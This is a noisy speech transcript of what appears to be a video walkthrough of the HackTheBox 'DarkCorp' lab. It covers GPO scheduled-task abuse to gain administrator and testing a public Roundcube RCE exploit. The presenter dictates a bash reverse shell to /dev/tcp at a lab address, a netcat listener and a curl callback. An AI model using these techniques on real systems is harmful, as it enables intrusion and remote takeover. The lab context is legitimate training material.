And let's just show this real quick. So proxy chains net exec SMB with this So, it doesn't say pawned, right? If I run this, hopefully it works. Oh, we have to proxy chains.

HackTheBox - DarkCorp


Uh, go ID does not exist.

HackTheBox - DarkCorp


Does it want the SID?

HackTheBox - DarkCorp


Let's give it the SID.

HackTheBox - DarkCorp


and went on a line break. Let's fix that.

HackTheBox - DarkCorp


GPU ID does not exist.

HackTheBox - DarkCorp


Where is that? Let's go find an example.

HackTheBox - DarkCorp


Let's see. They're definitely just using the same ID I did, right?

HackTheBox - DarkCorp


Blood Hound. Security updates. This is definitely a GPO. I think maybe this is the ID right here.

HackTheBox - DarkCorp


Owner SID. This may be a unique ID in Blood Hound.

HackTheBox - DarkCorp


This could be the ID of the actual GPL.

HackTheBox - DarkCorp


Let's try this.

HackTheBox - DarkCorp


There we go. Schedule task created. So, it creates a task that will run immediately. And immediate doesn't mean this very second. And it means the next time the GPO updates. So we don't see pawned there. Um, do I have any EVO winrms? Uh, let's go to this one. That's two.

HackTheBox - DarkCorp


Uh, let's see. Eva 1M.

HackTheBox - DarkCorp


Does this work? I'm just going to do a GP update force.

HackTheBox - DarkCorp


And this will force the GP to update. You don't need to be an administrator to run this, but this just speeds it up. So it could take like five minutes, but if you run this, it takes 30 seconds. And then now when I run this net exec command again, it should say pawned, which will mean we can become administrator, right? Um, let's see.

HackTheBox - DarkCorp


There we go. Poned. So, let's go back into WinRM and then let's go dot dot CD administrator CD desktop type root.ext and the machine has been pawned. Awesome. Uh, so that is going to be the box. I did say I want to include one other thing which I'm regretting now because this video feels long. Um, shoot. Uh, do I still have it? Pi GPU abuse. We should run a cleanup. So, let's do dash cleanup to remove that task. Uh, where is it? This source cleanup. Oh, come on. Is it d- cleanup?

HackTheBox - DarkCorp


I'm going to assume it's cleaned up. Normally, it says something. Um, but yeah. Uh, there was something early early on in the box. Um, there's an RCE on Round Cube itself. So, that's what we're going to go all the way back to. Um, once I close out all my PES. There we go. So, let's go to was it CVE details?

HackTheBox - DarkCorp


Um, Round Cube. And let's see.

HackTheBox - DarkCorp


Let's just go round cube. I think this is it, right? Yeah. So, this is what I was saying. 2025. Here we have all of nothing which is weird. If we go here, there is this CVE and this is actually an RCE. So, let's see. Do we have a PO uh round cube vulnerabilities? Round cube.

HackTheBox - DarkCorp


Let's see. Public exploits exist.

HackTheBox - DarkCorp


Let's go ahead and copy this. Get a PC.

HackTheBox - DarkCorp


Okay, we have one. And I haven't actually ran this vulnerability yet. I just heard about it. So, um, you'll see me doing this for the first time, but it looks relatively simple. Exploit pop it like this. Okay, so let's do this. Uh, get clone cdc. Make sure they're not using any weird libraries. They're not. Um, let's see.

HackTheBox - DarkCorp


This is going to be was it mail.drip.htb username ipsack password like that. And the command uh let's do bash c bash dash i dev tcp 1010 10148 900 and 1.

HackTheBox - DarkCorp


Okay. NC LVNP 90001 it looks like it worked. Um it did not give us a shell though.

HackTheBox - DarkCorp


Let's see. I'm going to switch the quotes. That's normally the first thing I try.

HackTheBox - DarkCorp


That didn't The next thing let's do curl http 10 10 104 148 91 which curl it's going to be in user bin.

HackTheBox - DarkCorp


Huh? That does not seem to be working.

HackTheBox - DarkCorp


Let's see. So, we B 64 encode it.

HackTheBox - DarkCorp


Um, we do have a shell in the box already. So, what I'm going to do real quick, let's just do touch temp. Let's just do dev shm.

HackTheBox - DarkCorp


Then we can do sh- cddevshm. It did not write. So this exploit script does not look like it's working. Um, which means we may have to do a little bit of troubleshooting. I put a bad password here.

HackTheBox - DarkCorp


Okay, it does fail login, which is good, but I'm not sure why it doesn't execute code. Let's just see if there's a different PC real quick. Um, let's do GitHub PC.

HackTheBox - DarkCorp


Use Google and let's see. Here's another one.

HackTheBox - DarkCorp


We can just get clone this while we wait. get clone um make two get clone and oh this is a PHP one uh PHP URL username password command. So let's do PHP uh we can probably just pretty much hit the up arrow.

HackTheBox - DarkCorp


Where is my bash? There we go. So, let's do PHP CVE. There we go. That PC worked. Um, I am not sure what is different between the two. Uh, pseudo v Etsy proxy chains.

HackTheBox - DarkCorp


Let's do HTTP 127001 8080. I don't know how to proxy in PHP. So, this is um my quick and dirty way, right? Uh let's set this up to B. So hopefully I can just do proxy chains and run the command and we can kind of look at the web request that it's making and then see if we can figure out exactly why that Python script is failing or exactly how this exploit even works because I don't know much about it. Um I'm going to guess it's like a des serialization thing and it being the exploit script being in PHP makes it easier to do that type of stuff, but honestly don't know. Let's do proxy chains. Uh, let's make sure my socks is off.

HackTheBox - DarkCorp


Let's see. Connections socks. Let's not use that.

HackTheBox - DarkCorp


We can turn intercept off because all we want to do is see this in history, right? There we go.

HackTheBox - DarkCorp


So, we do this edit form PHP. Where's my shell?

HackTheBox - DarkCorp


So, this is login. This nothing here.

HackTheBox - DarkCorp


Is this my shell? Um, repeater decoder smart decoded correctly. Um, let's just run the Python one real quick. Go here Python. Um, let's do this.

HackTheBox - DarkCorp


Python 3. This is HTTP.

HackTheBox - DarkCorp


What is it? Exploit.py.

HackTheBox - DarkCorp


Okay, so here's the Python.

HackTheBox - DarkCorp


It's working completely differently. Um, crypt gpg engine.

HackTheBox - DarkCorp


This is probably the script B64-d. So, it's doing that type of payload. And this must be the B 64 command. So if I echo N B 64-d.

HackTheBox - DarkCorp


There we go. So that's our command that we're running. So in the content disposition form file strings 219.

HackTheBox - DarkCorp


I have no idea where it's putting our payload off the top of my head.

HackTheBox - DarkCorp


Unless it's just weirdly encoded.

HackTheBox - DarkCorp


Uh, this is what I get for trying to do this blind. I thought it was going to be easy. Um, I may just call it a video now. You saw it work. You see getting a shell. I'm not sure what's going on here. The Python one is at least easier to understand, but it's not working. Um, where do we put the payload or v command command to be executed inject calc payload?

HackTheBox - DarkCorp


So it goes in this GPG engine.

HackTheBox - DarkCorp


And then preferences string length payload.png.

HackTheBox - DarkCorp


Is there stuff my burp's not showing me here?

HackTheBox - DarkCorp


Where is it? and from hex.

HackTheBox - DarkCorp


I think my burp's showing me everything.

HackTheBox - DarkCorp


It must be this. I must have decoded it wrong. Maybe burp did not decode it well. Um, see 21.

HackTheBox - DarkCorp


Let's do man as see 21 could be exclamation point.

HackTheBox - DarkCorp


Let's see. What am I looking for? Um, let's look for B. 142 9862.

HackTheBox - DarkCorp


62. Oh, wait. There's a dash. C plus B A S8.

HackTheBox - DarkCorp


Okay, it's putting this C3 between everything. And I don't know what that means, but you can see how this payload's working. Um, it's some weird encoding thing, but yeah, you can definitely tell there is a bash. B A S. Um, I'm not sure what's going on, but that's going to be the video. I can't really dig into this now. My brain is all mush from solving this machine. So, hope you guys enjoyed it. Take care and I will see you all next

HackTheBox - DarkCorp